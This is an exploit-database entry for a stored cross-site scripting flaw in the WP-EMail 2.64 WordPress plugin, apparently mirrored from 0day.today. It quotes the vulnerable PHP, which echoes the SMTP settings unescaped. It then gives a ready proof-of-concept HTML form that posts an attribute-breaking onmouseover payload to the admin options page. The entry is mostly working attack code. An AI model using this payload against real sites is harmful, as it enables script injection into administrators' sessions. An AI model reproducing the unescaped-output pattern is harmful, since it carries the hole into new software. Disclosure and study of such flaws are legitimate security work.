Wordpress WP-EMail 2.64 Cross Site Scripting Vulnerability

🗓️ 05 Jan 2015 00:00:00Reported by AshiyaneType

zdt🔗 0day.today👁 21 Views

Wordpress WP-EMail 2.64 Cross Site Scripting Vulnerability in SMTP Setting

######################
# Exploit Title : Wordpress WP-EMail 2.64 Cross Site Scripting

# Exploit Author : Ashiyane Digital Security Team

# Vendor Homepage : https://wordpress.org/plugins/wp-email/

# Date : 2015-01-03

# Software Link : https://downloads.wordpress.org/plugin/wp-email.2.64.zip

# Tested on : Windows 7 / Mozilla Firefox
######################

# Location : http://localhost/wordpress/wp-admin/admin.php?page=wp-email/email-options.php

######################
# Vulnerable code :
<table class="form-table">
<tr>
<th width="20%"><?php _e('SMTP Username:', 'wp-email'); ?></th>
<td><input type="text" name="email_smtp_name" value="<?php echo
stripslashes($email_smtp['username']); ?>" size="30" dir="ltr" /></td>
</tr>
<tr>
<th width="20%"><?php _e('SMTP Password:', 'wp-email'); ?></th>
<td><input type="password" name="email_smtp_password" value="<?php echo
stripslashes($email_smtp['password']); ?>" size="30" dir="ltr" /></td>
</tr>
<tr>
<th width="20%"><?php _e('SMTP Server:', 'wp-email'); ?></th>
<td><input type="text" name="email_smtp_server" value="<?php echo
stripslashes($email_smtp['server']); ?>" size="30" dir="ltr" /><br /><?php
_e('You may leave the above fields blank if you do not use a SMTP server.', 'wp-email'); ?></td>
</tr>
</table>
#####################

Exploit Code:

<html>
<body>
<form method="post"
action="http://127.0.0.1/wordpress/wp-admin/admin.php?page=wp-email/email-options.php">
<input type="hidden" name="email_smtp_name" value='"
style="a:b;margin-top:-1000px;margin-left:-100px;width:4000px;height:4000px;display:block;"
onmouseover=alert(1); a="'/>
<input type="submit" name="Submit" class="button" value="Save Changes" />
</form>
</body>
</html>

#  0day.today [2018-04-06]  #

05 Jan 2015 00:00Current

7.1High risk

Vulners AI Score7.1